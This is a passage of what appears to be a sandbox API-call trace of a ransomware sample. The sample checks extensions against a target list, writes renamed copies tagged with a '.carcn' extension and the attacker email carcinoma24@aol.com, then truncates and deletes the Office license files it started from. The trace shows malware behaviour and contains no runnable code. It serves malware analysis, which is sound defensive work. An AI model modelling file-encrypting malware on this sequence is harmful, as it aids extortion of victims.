lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.069] lstrlenW (lpString=".doc") returned 4 [0285.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.069] lstrlenW (lpString=".docx") returned 5 [0285.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.069] lstrlenW (lpString=".pdf") returned 4 [0285.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.069] lstrlenW (lpString=".xls") returned 4 [0285.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.069] lstrlenW (lpString=".xlsx") returned 5 [0285.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.069] lstrlenW (lpString=".ppt") returned 4 [0285.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.069] lstrlenW (lpString=".zip") returned 4 [0285.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.069] lstrlenW (lpString=".rar") returned 4 [0285.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.069] lstrlenW (lpString=".bz2") returned 4 [0285.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString=".7z") returned 3 [0285.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.070] lstrlenW (lpString=".dbf") returned 4 [0285.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.070] lstrlenW (lpString=".1cd") returned 4 [0285.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.070] lstrlenW (lpString=".jpg") returned 4 [0285.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.070] lstrlenW (lpString=".doc") returned 4 [0285.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString=".docx") returned 5 [0285.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.070] lstrlenW (lpString=".pdf") returned 4 [0285.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString=".xls") returned 4 [0285.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.070] lstrlenW (lpString=".xlsx") returned 5 [0285.071] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.071] lstrlenW (lpString=".ppt") returned 4 [0285.071] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.071] lstrlenW (lpString=".zip") returned 4 [0285.071] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.071] lstrlenW (lpString=".rar") returned 4 [0285.071] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.071] lstrlenW (lpString=".bz2") returned 4 [0285.071] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.071] lstrlenW (lpString=".7z") returned 3 [0285.071] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.071] lstrlenW (lpString=".dbf") returned 4 [0285.071] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.071] lstrlenW (lpString=".1cd") returned 4 [0285.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0285.071] lstrlenW (lpString=".jpg") returned 4 [0285.071] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.072] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.072] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0285.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0285.073] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19927) returned 1 [0285.073] CloseHandle (hObject=0x4a0) returned 1 [0285.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0285.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0285.074] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.074] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.075] GetLastError () returned 0x0 [0285.075] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0285.092] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0285.093] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.093] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0285.093] SetEndOfFile (hFile=0x4ac) returned 1 [0285.093] CloseHandle (hObject=0x4ac) returned 1 [0285.093] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.094] SetEndOfFile (hFile=0x4a0) returned 1 [0285.097] CloseHandle (hObject=0x4a0) returned 1 [0285.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0285.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.099] lstrlenW (lpString=".doc") returned 4 [0285.099] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.099] lstrlenW (lpString=".docx") returned 5 [0285.099] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.099] lstrlenW (lpString=".pdf") returned 4 [0285.099] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.099] lstrlenW (lpString=".xls") returned 4 [0285.100] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString=".xlsx") returned 5 [0285.100] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.100] lstrlenW (lpString=".ppt") returned 4 [0285.100] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.100] lstrlenW (lpString=".zip") returned 4 [0285.100] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString=".rar") returned 4 [0285.100] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString=".bz2") returned 4 [0285.100] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString=".7z") returned 3 [0285.100] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.100] lstrlenW (lpString=".dbf") returned 4 [0285.100] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.100] lstrlenW (lpString=".1cd") returned 4 [0285.100] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.100] lstrlenW (lpString=".jpg") returned 4 [0285.100] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.101] lstrlenW (lpString=".doc") returned 4 [0285.101] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString=".docx") returned 5 [0285.101] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.101] lstrlenW (lpString=".pdf") returned 4 [0285.101] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString=".xls") returned 4 [0285.101] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString=".xlsx") returned 5 [0285.101] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.101] lstrlenW (lpString=".ppt") returned 4 [0285.101] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.101] lstrlenW (lpString=".zip") returned 4 [0285.101] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString=".rar") returned 4 [0285.101] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString=".bz2") returned 4 [0285.101] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.101] lstrlenW (lpString=".7z") returned 3 [0285.101] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.102] lstrlenW (lpString=".dbf") returned 4 [0285.102] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.102] lstrlenW (lpString=".1cd") returned 4 [0285.102] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0285.102] lstrlenW (lpString=".jpg") returned 4 [0285.102] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.102] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.102] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24 [0285.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0285.103] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=20844) returned 1 [0285.103] CloseHandle (hObject=0x4a0) returned 1 [0285.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0285.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0285.104] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.104] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.105] GetLastError () returned 0x0 [0285.105] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x516c, lpOverlapped=0x0) returned 1 [0285.133] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5170, lpOverlapped=0x0) returned 1 [0285.135] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.135] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x104, lpOverlapped=0x0) returned 1 [0285.135] SetEndOfFile (hFile=0x4ac) returned 1 [0285.161] CloseHandle (hObject=0x4ac) returned 1 [0285.162] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.162] SetEndOfFile (hFile=0x4a0) returned 1 [0285.177] CloseHandle (hObject=0x4a0) returned 1 [0285.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0285.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.179] lstrlenW (lpString=".doc") returned 4 [0285.179] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString=".docx") returned 5 [0285.180] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.180] lstrlenW (lpString=".pdf") returned 4 [0285.180] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString=".xls") returned 4 [0285.180] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString=".xlsx") returned 5 [0285.180] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.180] lstrlenW (lpString=".ppt") returned 4 [0285.180] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.180] lstrlenW (lpString=".zip") returned 4 [0285.180] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString=".rar") returned 4 [0285.180] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString=".bz2") returned 4 [0285.180] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString=".7z") returned 3 [0285.180] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.180] lstrlenW (lpString=".dbf") returned 4 [0285.180] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.180] lstrlenW (lpString=".1cd") returned 4 [0285.180] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.181] lstrlenW (lpString=".jpg") returned 4 [0285.181] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.181] lstrlenW (lpString=".doc") returned 4 [0285.181] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString=".docx") returned 5 [0285.181] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.181] lstrlenW (lpString=".pdf") returned 4 [0285.181] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString=".xls") returned 4 [0285.181] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString=".xlsx") returned 5 [0285.181] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.181] lstrlenW (lpString=".ppt") returned 4 [0285.181] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.181] lstrlenW (lpString=".zip") returned 4 [0285.181] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString=".rar") returned 4 [0285.181] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString=".bz2") returned 4 [0285.181] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.181] lstrlenW (lpString=".7z") returned 3 [0285.181] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.182] lstrlenW (lpString=".dbf") returned 4 [0285.182] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.182] lstrlenW (lpString=".1cd") returned 4 [0285.182] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0285.182] lstrlenW (lpString=".jpg") returned 4 [0285.182] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.182] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.182] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22 [0285.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0285.183] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11139) returned 1 [0285.183] CloseHandle (hObject=0x4a0) returned 1 [0285.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0285.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0285.184] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.184] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0285.185] GetLastError () returned 0x0 [0285.185] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0285.205] WriteFile (in: hFile=0x414, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0285.206] ReadFile (in: hFile=0x4a0, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.206] WriteFile (in: hFile=0x414, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x100, lpOverlapped=0x0) returned 1 [0285.207] SetEndOfFile (hFile=0x414) returned 1 [0285.207] CloseHandle (hObject=0x414) returned 1 [0285.207] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.207] SetEndOfFile 